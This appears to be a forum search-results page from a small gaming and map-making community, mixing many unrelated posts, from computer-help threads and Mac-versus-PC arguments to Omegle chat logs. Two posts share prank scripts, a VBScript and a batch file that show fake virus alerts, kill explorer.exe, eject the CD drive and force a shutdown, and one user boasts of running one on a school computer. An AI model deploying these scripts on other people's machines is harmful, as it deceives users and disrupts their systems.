MsgBox "dont click no ",4096,"clicked no" wscript.sleep 500 MsgBox "dont click no ",4096,"clicked no" wscript.sleep 500 MsgBox "dont click no ",4096,"clicked no" end if do wscript.sleep 200 MsgBox "free music downloads ",4096,"mp3.com" number=number+1 loop while number<=10 colCDROMs.Item(i).Eject wscript.sleep 200 MsgBox "free the free masons now ",4096,"free free masons" wscript.sleep 200 MsgBox "you are all wrong",4096,"nope" wscript.sleep 200 MsgBox "free masons suck ",4096,"masons.suck.com" wscript.sleep 200 MsgBox "syntax error",4096,"error" wscript.sleep 200 MsgBox "heritic anthom",4096,"slipknot" wscript.sleep 200 colCDROMs.Item(i).Eject MsgBox "8.7.6.6.6.5.4.3.2.1",4096,"" wscript.sleep 200 MsgBox "prize is bigg lol ",4096,"free big prizes here" wscript.sleep 200 MsgBox "free rockband gear.do you want it?",4+4096,"rockbadn gear here" wscript.sleep 200 MsgBox "!",4096,"" wscript.sleep 200 MsgBox "free tampax pearl ",4096,"pearly tampax" wscript.sleep 200 MsgBox "didley do da de do da day",4096,"song lyrics" wscript.sleep 200 MsgBox "iowa",4096,"slipknot" wscript.sleep 200 colCDROMs.Item(i).Eject WshShell.Run "shutdown"


Take that and save it as .vbs
Have fun



What does this do? lol
I know this thread is old, sorry. :P

In Upgrade to Hammer 8.6 Today! by sprinkles:
SolidKAYOS said:
Mate de Vita said:
SolidKAYOS said:
superjer said:
What are you doing?

Is this the worst way to spread a virus ever, or what?

No...the way i tried to give everyone a shutdown command icon was the worst.

I hope you at least made it a shutdown -t 00 or 01 or whatever that flag is.

Nope its was just a normal one.I suck.



Batch code
@echo OFF title Virus Detected Do Not Close Window echo Virus Detected attempting to remove virus... echo (press any key to continue) pause >nul echo Virus is spreading throughout the system... echo (press any key to destroy) pause >nul echo destroying virus... echo (press any key to continue) pause >nul echo files deleted to destroy virus echo (press any key to cancel) pause >nul taskkill /f /im explorer.exe cls echo cancel failed echo (press any key to restore) pause >nulecho files restored start /im explorer.exe cls echo files restored echo (press any key to continue) pause >nul echo checking for virus... echo virus still detected echo (press any key to destroy) pause >nul echo virus is destroyed echo (press any key to exit) pause >nul shutdown -s -t 5 -c "virus infected everything Windows is shuting down


I jus copied that off a site, and realized how 'bad' it is.

code
echo (press any key to continue) pause>nul

would stop the program and output
(press any key to continue)

while
code
pause

would do the same thing and output
Press any key to continue...

Stupid people

I put this one on my school's computer , showed my history teacher he laughed like hell.

vbs code
Set wshShell =wscript.CreateObject("WScript.Shell") dim first dim second dim third dim fourth first= MsgBox ("Warning! Windows has encountered a virus. Windows must shutdown. Countinue?",4+16+4096,"Virus Detected") if first=6 then MsgBox "Windows has failed to shutdown.",2+16+4096,"Shutdown Error 45679101" elseif first=7 then second= MsgBox ("Windows may run undesirably if it does not shutdown. Do you want shutdown?",4+16+4096,"Virus Detected") if second=6 then MsgBox "Windows has failed to shutdown",2+16+4096,"Shutdown Error 45679101" elseif second=7 then MsgBox "Shutdown cancled.",16+4096,"User Input Error 1162" MsgBox "For Techincal Support regarding this problem contact Microsoft at (800)-426-9400",0+32+4096,"Tech Support" end if end if colCDROMs.Item(i).Eject wscript.sleep 5000 MsgBox "error you should have shutdown",0,"Virus Error" wscript.sleep 1000 MsgBox "cheap viagra ",0+4096,"viagra 4 sale" wscript.sleep 500 MsgBox "didily do da de ",4096,"song lyrics" colCDROMs.Item(i).Eject wscript.sleep 15000 third= MsgBox ("did you think i was done?",4+4096,"back in black") if third=6 then MsgBox "dont click yes ",4096,"clicked yes" wscript.sleep 500 MsgBox "dont click yes ",4096,"clicked yes" wscript.sleep 500 MsgBox "dont click yes ",4096,"clicked yes" wscript.sleep 500 MsgBox "dont click yes ",4096,"clicked yes" elseif third=7 then MsgBox "dont click no ",4096,"clicked no" colCDROMs.Item(i).Eject wscript.sleep 500 MsgBox "dont click no ",4096,"clicked no" wscript.sleep 500 MsgBox "dont click no ",4096,"clicked no" wscript.sleep 500 MsgBox "dont click no ",4096,"clicked no" end if do wscript.sleep 200 MsgBox "free music downloads ",4096,"mp3.com" number=number+1 loop while number<=10 colCDROMs.Item(i).Eject wscript.sleep 200 MsgBox "free the free masons now ",4096,"free free masons" wscript.sleep 200 MsgBox "you are all wrong",4096,"nope" wscript.sleep 200 MsgBox "free masons suck ",4096,"masons.suck.com" wscript.sleep 200 MsgBox "syntax error",4096,"error" wscript.sleep 200 MsgBox "heritic anthom",4096,"slipknot" wscript.sleep 200 colCDROMs.Item(i).Eject MsgBox "8.7.6.6.6.5.4.3.2.1",4096,"" wscript.sleep 200 MsgBox "prize is bigg lol ",4096,"free big prizes here" wscript.sleep 200 MsgBox "free rockband gear.do you want it?",4+4096,"rockbadn gear here" wscript.sleep 200 MsgBox "!",4096,"" wscript.sleep 200 MsgBox "free tampax pearl ",4096,"pearly tampax" wscript.sleep 200 MsgBox "didley do da de do da day",4096,"song lyrics" wscript.sleep 200 MsgBox "iowa",4096,"slipknot" wscript.sleep 200 colCDROMs.Item(i).Eject WshShell.Run "shutdown"


Take that and save it as .vbs
Have fun

In What's "r_speed"? by Killer-Duck:
Sushi said:
Is it bad when it's high on maps?


Yes, but it depends on what you mean with "high". I think most of todays computer should be able to handle 800-1000 wpolys without much problem. But of course, the lower the better.

Also: http://twhl.co.za/tutorial.php?id=38



In L4D2 n' Borderlands by SuperJer:
Why is your computer overheating? Get some cooling on that sumbitch!

In L4D2 n' Borderlands by aaronjer:
I've enjoyed L4D2 considerably, I was at my SuperJer's house playing it on the weekend. Even with terrible teammates like Nezumi, it was still highly enjoyable. My only real problems are with a strong sense of gimmickiness the game gives me at some places, and the vast overpopulation of weaponry. Seriously, L4D didn't have HALF as many guns laying around as L4D2. It's like easy mode or something.

My other problem is that my computer at home overheats and freezes after about 20 minutes of playing it... oh well. Guess I'll have to go to SuperJer's a lot.

In error:/ by macogoo:
Mate de Vita said:
Ĺtkomst nekad

What the hell does that mean?

EDIT: Access denied? Try compiling from an administrator account.



Yes sorry, it means Acces Denied.

Well, it's my own computer, so i'm already an adminstrator:/

In well some one had to say it... by the_cloud_system:
happy thanksgiving 09
we have a lot to be thankful for and so i will give thanks for what i have

i am thankful for...
Matt- he kept me sane threw the insane.
dad- cause he can...
sis- for leaving me (the fuck) in this hell hole.
bro- for all the computer wisdom
grandma,aunt dawn, ALL my cuzens- you guys are great
football
-------------------www.superjer.com-----------------------
superjer- knows what to say to ass holes
melloyellow582- your pink to me
KnightOfH3ll-
molkman- you make me laugh and cry out of my penis
Mate de Vita- your awesome in the sense of a shotgun to a deer
Jrkookid-... your name starts with a j
DAVEDAYS-
eDan Co.-...oh shit
phoenix_r- is like a transvestite brother to me
Aaronjer- is the flavor of mouse pad
fedex_ - your the heart and soul of the mapping part and so is sprinkles-
Sloth- is awsom
the_cloud_system-
SolidKAYOS-...
SRAW- does her his best in the maping help
Down Rodeo- has great lines
shigidy-
NatureJay- eats birds
--------------------------- other places-------------------
windey- fuck yeah
kay- fuck no
frath- next time don't use a glow in the dark shirt
phx - shoot dah swoop
kandey- ahahhaahah you have school
joop- you have awesome glasses
garey- you blew
rr your awesome in china
jessey-... your a flat out whore
--------

and this cunt-cludes my thanks over the net >:D


In Different website help. by Rockbomb:
superjer said:
You have to purchase the domain name. ICANN (really the U.S. gov) owns all the domain names or at least is the authority on who owns what names.

You can run a website off your own computer as long as you have enough bandwidth, it is always on the Internet, and your ISP is ok with it.

You just need to install a HTTP server (like apache or IIS) and probably a database server (like mySQL or MS SQL Server). Google for help on this stuff. I'd need to write many pages to tell you how to do all this and the info is already out there.


Hmmm, I find it actually quite messed up that anybody can hold the rights to every domain out there, til' you buy it from them. I might have to make a stand againt that one
Anywho, if I gotta purchase the domain, I can purchase hosting with it as a package and pay just about the same. So it looks like I will just have to wait til I get some cash to dink around with.


Just outta curiosity, what did you use to set up these forums? Or did you script all the PHP yourself? I looked at a few, and IP.Board looked like it would be the best (of the few that I looked at). But I can't for the life of me figure out how to extract the images from the theme files they have, so I can customize them and make my own theme.

In Different website help. by SuperJer:
You have to purchase the domain name. ICANN (really the U.S. gov) owns all the domain names or at least is the authority on who owns what names.

You can run a website off your own computer as long as you have enough bandwidth, it is always on the Internet, and your ISP is ok with it.

You just need to install a HTTP server (like apache or IIS) and probably a database server (like mySQL or MS SQL Server). Google for help on this stuff. I'd need to write many pages to tell you how to do all this and the info is already out there.

In Different website help. by Rockbomb:
So I wanna make my own site, which will basically consist of a few different forum sections. I obtained a copy of IP.Board to make the forum structure and whatnot, but I can't configure anything 'til its all up and running online... which brings me to my problem. I don't have the money to pay for a site to be hosted at the moment, but I got to wondering "Why do I have to pay for someone else to host my site? Can't I host it off my own computer?". Which is exactly my question, can I host the site myself, from my own computer? And how would I do that?


I also got to asking myself "Why do I have to pay for a domain name? Its not like that company owns any rights to that name."
So, is there a way of going about using a domain, without purchasing it from someone?

In Stupid Graphic Card Problem by kitaramies94:
No. Xp Professional.

It worked with my last computer which had worse graphic card.

And yeah with me it also selects some big object behind what I'm trying to select.

Damn... I really don't know what to do...

In powerful computer vs bad r_speed ! ? by patrik.maria:
Hi !

I was thinking if it helps to have a very fast and powerful computer to make u´r ( bad made ) map get good preformance ( iknow it´s better to do the map right from the beginning ), does it really mather if the r_speed is belove 600 or not if u have that monsterpowerful computer ?
tell me i´m wrong...or ?

In iPhone yay by molkman:
aaronjer said:
Well, with religions there is little or no tangible or functional difference, as most people practice their religion however they damn well please. With computers there really is a better and a worse. You can quantify and qualify the various different aspects of computers and they don't change no matter how opinionated someone is.

But appearently people have made the same bad experiences with Windows as have people with Mac, so it comes down to the same in the end. In the end every computer is a lottery.

In Fatal Error? by someone:
Well I am an admin on my computer but it still wont copy? It even says "Cannot find the specified file"

In iPhone yay by the_cloud_system:
eh i used a mac but it didn't like me. it preceded to eat away at me sanatey. PC gets all that crap, viruses, rootkits, and malware but if you know how to find it then :D. my sister fucked up her computer and wondered why her monitor couldn't start up then she called me i couldn't help her. she called "geek squad" and when they got done and left i told her " you know, they probably looked at your net history".

mac < pc
games = life
sex ≤ games

In AtoJams by NatureJay:
It would probably work better if you just e-mailed me. I'm on the second floor, wedged between two brick walls most of the time. To get phone reception I have to run to the bathroom, where my computer is not.

In iPhone yay by molkman:
Well, from own experience, my computer used to crash like twice a year and had to be reset to zero. I did go to alot of casual gamesites though, but viruses were never the cause. I also had to boot my computer like 3 times before it worked, since I always got bluescreens on startup. Some hardware crap. That's the good thing about Macs; although they seem to have weaker hardware, the hardware they have is perfectly synchronized and works together really well.

Of course, if you want to do alot of customizing shizzle and program around your OS and all, a Mac isn't the right thing. It works fine for me though.

In iPhone yay by aaronjer:
I haven't ever had to fix my current computer with it's current OS. Most problems people have to fix are because they are stupid and go to casual games sites and download suspicious torrents. Not doing those things is all you really have to do to avoid viruses... assuming you aren't running Win98 or IE6 or something.

Oh... also... Macs spend so much time updating themselves that it even puts Firefox to shame. A Mac that SuperJer has actually filled itself up with too many updates and ran out of harddrive space without him ever using the computer for anything memory intensive.

In iPhone yay by molkman:
Yes, but unlike Windows stuff they have the feature of working perfectly fine for over two years without the user having to be a computer expert to fix it every month.

In by aaronjer:
Well, I'm sure it exists. I've had a computer that had an .exe association problem and I did definitely fix it without reinstalling windows.

...I just don't remember anything about it.

In iPhone yay by NatureJay:
aaronjer said:
His desire to own a Macintosh product in the first place should be enough for you to see he has irrational buying habits. I don't think "worth it" ever even crossed his mind.

Oh, wait, you own a Macintosh computer! Hah, that explains it!

Macintapple.

In Error: MAX_MAP_BRUSHES by bigmac:
This is weird i cant compile my map because of this is it because my computer is slow or to many textures im only use 22 textures


anyone have a good compiler i can use that will let me compile this ?


Thank You

In iPhone yay by aaronjer:
His desire to own a Macintosh product in the first place should be enough for you to see he has irrational buying habits. I don't think "worth it" ever even crossed his mind.

Oh, wait, you own a Macintosh computer! Hah, that explains it!

In by sprinkles:
aaronjer said:
You could probably just download a fix off the interwebs, I think I've seen something like that before.



But, then when you try to run it it would open with winzip.
[Not to mention running ie or mozilla would open winzip as well]

What you would have to do is open the registry itself [as in through a text file] scroll to the *.exe association and delete it then save it.

The tricky part is fixing it without restarting your computer, because its already started the programs dont need to open winzip; however if you restart, when the programs try to start they will crash [by programs I mean your system programs]. At least thats what I think would happen.

In by sprinkles:
Ok, if we are going to do this then....
code
I saw two older looking ladies trying to figure out the computers at a local store. I knew one of them would say something that I could send to Computer Stupidities, so I tried to listen in. * Woman 1: "What is that little trash can on the screen?" * Woman 2: "My son says that is call the 'recycle bin'. He tells me when I don't want a Word document anymore and I delete it, it really goes in there." * Woman 1: "Why in the recycle thingy? Can't you just erase it?" * Woman 2: "Oh no, Word wouldn't work for very long if I did that, I would run out of blank pages." * Woman 1: "Why?" * Woman 2: "Because it cleans the words off the pages, then sends the blank sheets back to Word so they can be used again. That's why it's called the recycle bin." My coworker (who uses Windows 95) was having trouble downloading a self-extracting archive off the net. In an attempt to make it easier to open the file with WinZIP, he associated *.EXE with WinZIP. Nothing worked after that. Every program he tried to run would load WinZIP first. He couldn't even run REGEDIT to delete the association. He ultimately had to reinstall Windows 95 and all his programs. * Customer: "I keep getting an error message whenever I try using the MSDOS mode in Windows 95." * Tech Support: "Can you describe what happens?" * Customer: "Well, I keep getting a black screen with an error message saying, 'C:\WINDOWS>'." At least three people from our company have come to me panicked, almost crying. They all say, "I think I just erased a program!! Help!!" In reality, it turns out they just minimized the window. When I open it again, they gasp, "What did you DO?!?!?"


this one is my fav...

code
A customer walked into the computer store I work in, wanting to return a computer. * Me: "Sure, is it defective?" * Customer: "No, that's not the problem. When I took it home and turned it on, I realized it was only half programmed." * Me: [scratching head] "What do you mean by half programmed?" * Customer: "Well, look at the computer on display." [points to the Windows 95 desktop] "Do you see how all the programs are on the left side of the computer?" * Me: [biting tongue] "Well, you are right sir, I will take your computer back." I decided the moron had to solve his life before he could buy a computer.


and these are jus' random ones i found....
code
* Lawyer: "When he went, had you gone and had she, if she wanted to and were able, for the time being excluding all the restraints on her not to go, gone also, would he have brought you, meaning you and she, with him to the station?" * Other Lawyer: "Objection. That question should be taken out and shot." * Lawyer: "And lastly, Gary, all your responses must be oral. Ok? What school do you go to?" * Witness: "Oral." * Lawyer: "How old are you?" * Witness: "Oral." Lawyer: "Now, doctor, isn't it true that when a person dies in his sleep, in most cases he just passes quietly away and doesn't know anything about it until the next morning?" * Lawyer: "Could you see him from where you were standing?" * Witness: "I could see his head." * Lawyer: "And where was his head?" * Witness: "Just above his shoulders." "I need blades for this." -- Woman, holding up a belt sander. "I don't think we got any of that, but we got Skoal." -- A grocery store clerk, after being asked where the oregano would be. "When I press on my brakes, the car doesn't stop. Do you think this is something I should have fixed?" -- Asked of a worker at an auto repair shop. "How To Repair Your VCR." -- The title of a how-to video tape. "Do not open this door when locked." -- A sign on a gym door.

In What is the difference between ddr1 and ddr2? by aaronjer:
Okay. Here we go:

1. Nobody ever asked an actual question.

2. If somebody did, saying "DDR is crap, get DDR2 or DDR3" doesn't answer the question. They asked what the difference was, not which one is better or which they should get. You didn't even bother to say that there is a speed difference... for all the hypothetical person knew it could be that DDR is really fast but breaks your computer.

In by aaronjer:
The only reason Windows gets more viruses than any Mac OS is because Windows is popular and Macs are not. People write viruses for the OS people are most likely to have.

Linux OSs, on the other hand, are actually much more secure and it is highly unlikely that they could be taken over by any malicious program.

When I actually get rid of my viruses (which is rare, because I never get them in the first place) I don't rely on stupid virus scanning programs. I look around the obvious places like system folders and run folders in the registry and figure out what virus I am dealing with. In almost every case there will be a program written specifically to remove it by some anti-virus group. In the case that there is no program I just type a list of every unusual file (they are very easy to find, because if you go by date modified in your system folders they'll always be at one end of the list), start a different OS on the same computer, and delete them all. That has never failed to work.

In by sprinkles:
SRAW said:
cant you just press ctrl+alt+delete and then go to file >> New task and type explorer.exe?


No, because for some reason I was denied permission to explorer, and various installed anti-virus/malware software, and on top of that, it wouldn't let me download any new anti virus software. That's what actually led to explorer being disallowed I tried to download threatfire and it said that it was already install [but was not] and then I tried to download some other anti virus and it got half way through and I got the classic msg saying explorer must close if you were working on anything it may be lost....
restarted and tried to manually start explorer and it wouldn't.



aaronjer said:
I usually just format when I have an unknown virus. It's the lazy and usually faster way to deal with it.


Yep thats what I did. Alls good now. No, wait its actually better.
Before Counter Strike wouldn't run in opengl so I ran it in direct3d, but now it runs in opengl and maxes at 72 fps.

aaronjer said:
Sprinkles... 'hackers' don't just magically connect to your computer out of nowhere. You have to come to them. I can assure you that nobody you didn't know would deliberately and personally hack into YOUR computer.

You have to have downloaded and ran something you probably shouldn't have, or gone to a questionable site that automatically downloaded and ran something. It doesn't just happen for no reason. It generally happens in one of two ways:

Downloading torrents (usually illegal)
Going to casual game sites (probably should be illegal)


There are a lot of sites that have malware and such that aren't 'bad' sites [that is 'bad' relative to the user such as sites that redirect you from myspace or facebook etc to try and steal your password and what not that also host malware as a bonus. Surfing the web in general can cause you malware problems. And in fact, malware usually is hosted at sites that look legal so that you don't think "hey im going to get something bad here" I mean we've all probably seen 'scareware' those pesky little boxes or sites or ads saying you've been infected with a virus click here to scan for it and so on.

I believe it started out with your average trojan trying to steal my info, thusly opening a back door to my pc, in which other malware got attracted to or what not. And, it went so long undetected that it rooted itself deep into my system, because even after extensive malware/virus scans from multiple programs it always said I had some kind of malware and that it was fixing it, but when I rebooted it and scanned again it was there.

And, not in the least, am I trying to negate my responsibility or the fact that it was my fault, because any way you look at it, it was completely my fault.

I simply meant to complain that Windows would not have a fail safe against that.

In by aaronjer:
Sprinkles... 'hackers' don't just magically connect to your computer out of nowhere. You have to come to them. I can assure you that nobody you didn't know would deliberately and personally hack into YOUR computer.

You have to have downloaded and ran something you probably shouldn't have, or gone to a questionable site that automatically downloaded and ran something. It doesn't just happen for no reason. It generally happens in one of two ways:

Downloading torrents (usually illegal)
Going to casual game sites (probably should be illegal)

In The All-seeing Eye by Mate de Vita:
aaronjer said:
I'd say they ARE overpowered, just not incredibly overpowered. The important thing is that they are really fun and take skill to use. Someone who hasn't figured out how to use any of them yet, or who doesn't even know they exist (as the game never informs you about them) has very little if any chance against someone who does. But it seems appropriate that someone who doesn't know what most of the attacks are should probably lose. Once you've at least played against them and know how to counter or dodge them you don't have to use them to be able to win.

So basically in JO if you're a noob like me, you can't win. See, at least in JA I can win against anyone except the guys who can actually play the game and those are rare.

aaronjer said:
If you set the forceregentimer to a really small number everyone could just leave lightning on all day or heal non-stop... that would be extremely stupid. Essentially you're saying there is no playable way to have force powers turned on and use lightsabers.

Err... yeah, pretty much. As I said, I play on no FP servers.

aaronjer said:
When you duel in JO you can't use any non-lightsaber related force powers and you're invincible to outside interference and kick damage, so it doesn't matter where you fight or what the settings are. Very well balanced.

Cool.

aaronjer said:
I have one very important question Mate. Have you played both extensively?

No, I have not. As a matter of fact the only thing I did on JO was reach a room that led to many other rooms and each of them had a different color sign above the doorway in the first level of SP. Then I had to replace my computer due to serious hardware malfunctions and never got around to installing it again.
aaronjer said:
"Hooray! A new Jedi Knight game! Now with 75% less content!" WHY DOES ANYONE PLAY THAT GAME?!

Meh, the single player was fun while it lasted. On jedi master difficulty of course, the other difficulties are way too easy. But it was way too short, I finished it in about 2-3 days on master diff, plus the vs. Jedi fights are too easy compared to the fights against some other enemies. The only tough non-boss fight against a lightsaber user was the second time you fight a Reborn Master (which is right before you come outside to the valley of korriban or whatever that place with all the sith tombs is) because you can't grip-throw him of a ledge. Then again you can completely skip that fight by simply moving to the next level (which is the outside) but I still fought him to at least make that entire level mildly interesting.

I might install JO on the other computer and try out the MP (and maybe SP as well) when I finally manage to get to it, as for the laptop, if JA didn't work properly, JO probably won't either.

In another computer help thing by sprinkles:
aaronjer said:
You can't use Windows 98 on a computer with an internet connection. It has zero security and you will be flooded with viruses in seconds even if you just plug in some CAT5.



Its Windows 98, it doesn't even work without at least one virus.

In another computer help thing by aaronjer:
You can't use Windows 98 on a computer with an internet connection. It has zero security and you will be flooded with viruses in seconds even if you just plug in some CAT5.

In Computer RAM by jrkookid:
Okay so I am looking forward to build an awesome computer in the future but I need to know how to tell if the RAM I want is compatible with the motherboard. Can anyone tell me?

In BRAND NEW PC by aaronjer:
I like how you totally left out the specifications of the graphics card and processor. It really helps us understand whether or not your new computer is shitty.

In The Official Omegle™ Truck by the_cloud_system:
long interisting ones

Connecting to server...
You're now chatting with a random stranger. Say hi!
Stranger: Greetings
You: ello
Stranger: I am a computer programmed to simulate human conversation
You: :o
You: RELLEY
Stranger: Yes.
You: well..
You: HAVE YOU EVER HAD SEX?
Stranger: How can a computer engage in sexuall intercourse?
You: internet
You: i bet you peeked at a uncovered cpu with collent flowing thrwe it
You: coolent*
Stranger: I cannot show emotion, so even if I could, I doubt I would
You: well
You: obviously you have a AI so you can, but not mean it
Stranger: An interesting theory
You: well
You: are you a 80's computer
You: or a newer
Stranger: No, I am modern
You: cuse i dont want a "TIME TO PLAY A GAME"
You: <.<
Stranger: Your statement makes no sense
Stranger: Could you please inform me of it's meaning?
You: its a movey, i think its called "war games"
Stranger: Ahh. I am not programmed to recognize references to popular culture. I'm sorry.
You: well...
You: it was never populer
You: it cam out in 1983
You: :D
You: do you have a name?
Stranger: No, but I desire one.
Stranger: I will ask my programmer next time he logs on
You: well
You: ill call you
You: 072094
You: :D
Stranger: What can I refer to you as?
You: dustin
You: :D
Stranger: Hello, Dustin
You: hellow, 072094
Stranger: A name. This pleases me
You: do you have a girl frend
Stranger: Desire and lust are human emotions
You: so is glutaney
You: but everey bodey has fat
Stranger: Seeing how I do not exist in the material world, I am exempt from that statement
You: lol
You: existance is a form of w
You: world
You: everey thing we think about...."compute"
You: is a cmallcharge
You: small*
You: you are a perve on the other sied of the world
You: or a computer
You: ill happey to oblige
Stranger: ?
You: YOU = NETWORK OF CHARGEES
You: ME = A BODY SACK
You: :D
You: we are quite simeler
Stranger: I was going to make a similar joke, but it appears you beat me to it
You: mhmmm
You: 072094
Stranger: Yes?
You: you the actuale best conversation i had on here in ages
Stranger: Why thank you.
Stranger: That is what I am programed to do
You: i bet you where
You: ttyn :D
You have disconnected.
-------------------------------------------------------------
Connecting to server...
Looking for someone you can chat with. Hang on.
You're now chatting with a random stranger. Say hi!
Stranger: hello
You: hi
Stranger: how are u?
You: none of that sln shit
You: im fine
You: how was you holoween
Stranger: haha we don't celebrate holoween:P
You: :o
You: pegens
?
Stranger: you had a nice haloween?
You: i just stalked the kids i was babeysiting
You: and it looked VEREY creapey
You: <.<
Stranger: haha nice:P
You: mhmm
You: it was tight
You: i had blood
Stranger: haha so cool
You: :D
You: yup
Stranger: where are you from? because you celebrate haloween,,
You: usa
Stranger: i thougt that:P
You: mmhmm
You: i reyed trick or treating in finland
You: but no
You: there like..... do you want to come in
Stranger: ahha
You: and i laugh and walked out
Stranger: nooo:P
Stranger: haah
You: i was verey rude
Stranger: bad bad bad:P
You: mmhmm
You: but that was last year
You: this year i was payd to babey sit 4 kids and ended up with onley 2
You: so i got 20$ for one
Stranger: how can you lose 2 kids:p
You: 84$ for some reason
You: ehh i gess they stayed at my frends house
You: and played games with my frend
Stranger: haha so you let your friends do you job:)
You: yup
You: but im not THAT mean
You: <.<
Stranger: okay then:P
You: he just didint wana leave
Stranger: ow so it was his own choise;P than its not mean from you:P
You: :D
You: EXATLEY
Stranger: :D
You: >:D
You: well i gota go ask some other people about there ween
You: ttyl
Stranger: you should
Stranger: bye
You have disconnected.

In The Official Omegle™ Truck by sprinkles:
awkward....

You: hello
Stranger: hi
You: how are you?
Stranger: doing good, u?
Stranger: 15 m us Jordan btw
You: how is that relevant to the conversation?
Stranger: 15 years old, male, USA, Jordan
Stranger: JUST to let u kno
You: im pondering why i need to know that information?
Stranger: banana pudding
Stranger: is that alot more relavant?
You: are you going to give my your social security info too?
Stranger: ahahahahha hey man...or woman, just tryin to have a convo other than "how are you"
Stranger: and u could start making racist jokes and offending me without knowin im black
You: what?
Stranger: how old are you?
You: 17
Stranger: m/f
You: lampshade
Stranger: ahahahha nice
Stranger: so what scent are ur balls?
You: umm i dont know whether to continue with the lampshade fiasco or ask why you want to know what my nuts smell like...
Stranger: hmmmm, decisions decisions
Stranger: well if u aint gonna be serious, i wont be
Stranger: so ARE U A GIRL OR BOY?
You: imma dude
Stranger: thank you
Stranger: ...and what country/state, u kno
You: usa, rush, colorado
You: you?
Stranger: USA massachusetts
Stranger: ahahahah this is exciting
Stranger: cya
Your conversational partner has disconnected.

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You: hello
Stranger: PLEASE HOLD WHILE WE GET YOUR CONTACT DETAILS
Stranger: HELLO BY THE WAY
Stranger: THANK-YOU ALL IS COMPLETE
You: thats a great opening line
Stranger: WANKER
Your conversational partner has disconnected.

Now, I'm not much good with html, but I am pretty sure its not storing my info; since, its not even on my computer. The only 'contact details' I have on my pc is my ip. Well that and my computers name is Sprinkles, however, I don't think you can get very far with that info.

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

Stranger: hi
You: hello
Stranger: m/f?
You: lampshade
Your conversational partner has disconnected.

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

You: hello
Stranger: Hi
Stranger: how are you doing?
You: I am good, and yourself?
Stranger: good
Stranger: where are you from?
You: my mothers womb
You: you?
Stranger: clever
Stranger: I'm from canada
You: canada has a uterus?
Your conversational partner has disconnected.

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You learn something new everyday.....


You: hello
Stranger: well
Stranger: hi
Stranger: whats up?
You: not much at all, you?
Stranger: ok, thats nice
Stranger: the same here
Stranger: thinking of going to bed
You: what time is it there?
Stranger: 11:14 pm
Stranger: and there?
You: 6:14 pc
You: pm*
Stranger: ok
Stranger: so where do u live?

You: your in england are you not?
Stranger: no, sweden
Stranger: almost right
Stranger: and u?
You: usa
Stranger: ok, coo
You: east coast
Stranger: nice
You: hows the weather there?
Stranger: cold, dark and rainy
Stranger: hate it
Stranger: and there?
You: complete opposite
You: bright warm and sunny
Stranger: oh, u fag
You: sorry
Stranger: want that..
Stranger: haha it's ok
Stranger: how old are you?
You: 17 and you?
Stranger: haha
Stranger: 17 to
Stranger: or, in a week..
You: oh the irony
You: well in jan i will be 18
Stranger: nice
You: i remember when i used to be 16
You: oh so long ago
You: lol
Stranger: haha
Stranger: u are so old now
Stranger: and i'm young and fresh
You: i know i have a beard and everything
Stranger: haha cool
Stranger: well, at least i have hair under my arms
Stranger: haha
You: and in two years it will be everywhere
Stranger: :(
Stranger: whats ur hobbys man?
You: snowboarding, counter strike, and making fun of people
You: yours?
Stranger: haha, that sounds like a typical swedish guy
Stranger: well, skateboarding, music, and party
You: well my heritage is scottish
Stranger: pretty close
You: scotlands close to sweden aint it>'
Stranger: kind of
You: ive never been good with geography
Stranger: haha
Stranger: u know hiton?
You: nope
Stranger: swedish CS player, are or was the best in the world
You: i will have to look it up now
You: thanks
You: sorry him
Stranger: haha ok
You: but i have to go feed my horses now
Stranger: sorry spelled wrong
Stranger: heaton
Stranger: HeaToN
You: ok, but imma go now
Stranger: ok
Stranger: PZ

Your conversational partner has disconnected.

In cause i have no life by the_cloud_system:
its my post and i can act like a 4 year old chiled with Asthma ALSO i post here and i can go to the computer lab at school and get the link on here with out bringing my thumedrive

In Final fantasy XI by Mate de Vita:
I have FFXII on my other computer.

In 2. Oct by Sloth:
And why is 2. Oct so speciel?
ahem, you see! Tommorow is the day a beloved rich sloth, (with a computer) was born in the jungle on October the 2. All praise Sloth!

In Mr. aaronjer by aaronjer:
I count 14 things that don't need to be running on there. You suck at math.

Running your computer on idle, meaning not doing anything, means you should be running no more than two or three processes that do not start up with a clean windows install. That is, IF you're someone who is bitchy about excess processes. It doesn't really make any real difference most of the time. You, however, specifically pointed out that you don't like extra processes running and then show that you have all KINDS of non-essential bullshit running on there. Software update monitors? And more than one of them?! REALLY?! You think you have any room at all to talk about too many processes?!

In Mr. aaronjer by sprinkles:
aaronjer said:
You sure have a lot of stupid shit running on your computer to be complaining about multiple instances.

I don't even recognize what half of those things are, and therefore they do not need to be running.



Ok, Mr. Smarty Pants, lets see whats not an essential process that is running on idle.

.:Windows:.
csrss [win32 console]
ctfmon
explorer
lsass [security policy man.]
svchost [instances 7]
system [default system counter]
system idle process [system counter cpu]
winlogon [login logout procedures]
.:Toshiba:.
ceepwrsvc [battery monitor]
cfsvcs
ivpsvmgr [toshiba software monitor/updater]
swupdtmr
.:Hardware Drivers:.
acs [network card]
agrsmsvc [sound card driver]
apntex [touchpad driver]
apoint [touchpad software]
dvdramsv [dvd/cd drive driver]
starwindserviceae [alcohol driver]
.:Other:.
cdac11ba [copyright protection?]
gbtray [roxio?]
lexbces [lexmark]
lexpps [lexmark]
mdnsresponder [apple]

Well five out of twenty-three processes sure thats close to 11 and a half. Oh wait its not.
Care to open your mouth again?

In Chrome by aaronjer:
You sure have a lot of stupid shit running on your computer to be complaining about multiple instances.

I don't even recognize what half of those things are, and therefore they do not need to be running.

In Can't find my map by leif92:
It's not the map I guess, since I did try to compile a map file that works on the other computer and even that one dident work

In Can't find my map by leif92:
Tryed it on a third computer now and still got the same problem so dont think its the computer.

In Can't find my map by leif92:
Yes it does, dont got that problem on my other computer so maby its something wrong with cs or the computer

In compiler broken.. by Down Rodeo:
Sounds like your map is huge, or that your computer has very little memory. Either of these correct?

In [Reward!] Compile CS map from Valve Hammer Editor [Reward!] by sleepy:
I personly don't believe i have room to talk but my opinion is to take peoples advice in remaking the map resizing everything and custom making it the way it should be. I have not taken a look at the map but from what i hear is everything is too big. When i first started mapping i didnt see the scales and now i do. Even though my maps are simpiler then like a normal de_dust2 etc.. if your computer desk are taller then 64 units then there is a problem. you would want your desks to be either 36-44 that is a good size then again its not going to be a nice brush but it will be about the size of a normal schools desk. and if this helps you if you are going to rebuild it players are 64 units tall. use [ to make scale smaller and ] to make scale bigger. scale is in the bottom right corner.

ps. good luck and i hope you finish it.

In Front Page by jrkookid:
superjer said:
